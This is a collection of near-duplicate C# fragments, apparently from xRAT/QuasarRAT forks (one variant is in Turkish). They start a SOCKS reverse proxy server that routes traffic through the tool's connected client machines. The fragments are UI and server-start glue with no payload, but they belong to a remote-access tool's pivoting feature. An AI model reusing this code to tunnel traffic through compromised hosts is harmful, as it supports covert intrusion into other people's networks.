/// <summary> /// Starts the reverse proxy server using the given port. /// </summary> /// <param name="port">The port to listen on.</param> public void StartReverseProxyServer(ushort port) { _socksServer = new ReverseProxyServer(); _socksServer.OnConnectionEstablished += socksServer_onConnectionEstablished; _socksServer.OnUpdateConnection += socksServer_onUpdateConnection; _socksServer.StartServer(_clients, "0.0.0.0", port); }
private void btnStart_Click(object sender, EventArgs e) { try { SocksServer = new ReverseProxyServer(); SocksServer.OnConnectionEstablished += socksServer_onConnectionEstablished; SocksServer.OnUpdateConnection += socksServer_onUpdateConnection; SocksServer.StartServer(_clients, "0.0.0.0", (int)nudServerPort.Value); btnStart.Enabled = false; btnStop.Enabled = true; _refreshTimer = new Timer(); _refreshTimer.Tick += RefreshTimer_Tick; _refreshTimer.Interval = 100; _refreshTimer.Start(); } catch (Exception ex) { MessageBox.Show( string.Format( "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues", ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error); btnStop_Click(sender, null); } }
private void btnStart_Click(object sender, EventArgs e) { try { ushort port = GetPortSafe(); if (port == 0) { MessageBox.Show("Lütfen 0'dan büyük geçerli bir port giriniz..", "Lütfen geçerli bir port giriniz.", MessageBoxButtons.OK, MessageBoxIcon.Warning); return; } SocksServer = new ReverseProxyServer(); SocksServer.OnConnectionEstablished += socksServer_onConnectionEstablished; SocksServer.OnUpdateConnection += socksServer_onUpdateConnection; SocksServer.StartServer(_clients, "0.0.0.0", port); ToggleButtons(true); _refreshTimer = new Timer(); _refreshTimer.Tick += RefreshTimer_Tick; _refreshTimer.Interval = 100; _refreshTimer.Start(); } catch (SocketException ex) { if (ex.ErrorCode == 10048) { MessageBox.Show("Port zaten kullanımda..", "Dinleme Hatası", MessageBoxButtons.OK, MessageBoxIcon.Error); } else { MessageBox.Show( string.Format( "Bilinmeyen bir soket hatası oluştu.: {0}\n\nHata Kodu: {1}\n\nLütfen en yakın zamanda burdan hatayı bana ihbar ediniz.:\n{2}", ex.Message, ex.ErrorCode, Ayarlar.HelpURL), "Bilinmeyen Dinleme Hatası", MessageBoxButtons.OK, MessageBoxIcon.Error); } btnStop_Click(sender, null); } catch (Exception ex) { MessageBox.Show( string.Format( "An unexpected error occurred: {0}\n\nLütfen en yakın zamanda burdan hatayı bana ihbar ediniz.:\n{1}", ex.Message, Ayarlar.HelpURL), "Bilinmeyen Dinleme Hatası", MessageBoxButtons.OK, MessageBoxIcon.Error); btnStop_Click(sender, null); } }
private void btnStart_Click(object sender, EventArgs e) { try { ushort port = GetPortSafe(); if (port == 0) { MessageBox.Show("Please enter a valid port > 0.", "Please enter a valid port", MessageBoxButtons.OK, MessageBoxIcon.Warning); return; } SocksServer = new ReverseProxyServer(); SocksServer.OnConnectionEstablished += socksServer_onConnectionEstablished; SocksServer.OnUpdateConnection += socksServer_onUpdateConnection; SocksServer.StartServer(_clients, "0.0.0.0", port); ToggleButtons(true); _refreshTimer = new Timer(); _refreshTimer.Tick += RefreshTimer_Tick; _refreshTimer.Interval = 100; _refreshTimer.Start(); } catch (SocketException ex) { if (ex.ErrorCode == 10048) { MessageBox.Show("The port is already in use.", "Listen Error", MessageBoxButtons.OK, MessageBoxIcon.Error); } else { MessageBox.Show( string.Format( "An unexpected socket error occurred: {0}\n\nError Code: {1}\n\nPlease report this as fast as possible here:\n{2}/issues", ex.Message, ex.ErrorCode, Settings.RepositoryURL), "Unexpected Listen Error", MessageBoxButtons.OK, MessageBoxIcon.Error); } btnStop_Click(sender, null); } catch (Exception ex) { MessageBox.Show( string.Format( "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\n{1}/issues", ex.Message, Settings.RepositoryURL), "Unexpected Listen Error", MessageBoxButtons.OK, MessageBoxIcon.Error); btnStop_Click(sender, null); } }
private void btnStart_Click(object sender, EventArgs e) { try { SocksServer = new ReverseProxyServer(); SocksServer.OnConnectionEstablished += socksServer_onConnectionEstablished; SocksServer.OnUpdateConnection += socksServer_onUpdateConnection; SocksServer.StartServer(_connectClient, "0.0.0.0", (int)nudServerPort.Value); btnStart.Enabled = false; btnStop.Enabled = true; } catch (Exception ex) { MessageBox.Show(ex.Message); btnStop_Click(sender, null); } }
private void btnStart_Click(object sender, EventArgs e) { try { SocksServer = new ReverseProxyServer(); SocksServer.OnConnectionEstablished += socksServer_onConnectionEstablished; SocksServer.OnUpdateConnection += socksServer_onUpdateConnection; SocksServer.StartServer(_clients, "0.0.0.0", 4782); btnStart.Enabled = false; btnStop.Enabled = true; _refreshTimer = new Timer(); _refreshTimer.Tick += RefreshTimer_Tick; _refreshTimer.Interval = 100; _refreshTimer.Start(); } catch (SocketException ex) { if (ex.ErrorCode == 10048) { MessageBox.Show("The port is already in use.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); } else { MessageBox.Show( string.Format( "An unexpected socket error occurred: {0}\n\nError Code: {1}\n\nPlease report this as fast as possible here:\n{2}/issues", ex.Message, ex.ErrorCode, Settings.RepositoryURL), "Unexpected Error", MessageBoxButtons.OK, MessageBoxIcon.Error); } btnStop_Click(sender, null); } catch (Exception ex) { MessageBox.Show( string.Format( "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\n{1}/issues", ex.Message, Settings.RepositoryURL), "Unexpected Error", MessageBoxButtons.OK, MessageBoxIcon.Error); btnStop_Click(sender, null); } }
/// <summary> /// Initializes a new instance of the <see cref="ReverseProxyHandler"/> class using the given clients. /// </summary> /// <param name="clients">The associated clients.</param> public ReverseProxyHandler(Client[] clients) : base(true) { _socksServer = new ReverseProxyServer(); _clients = clients; }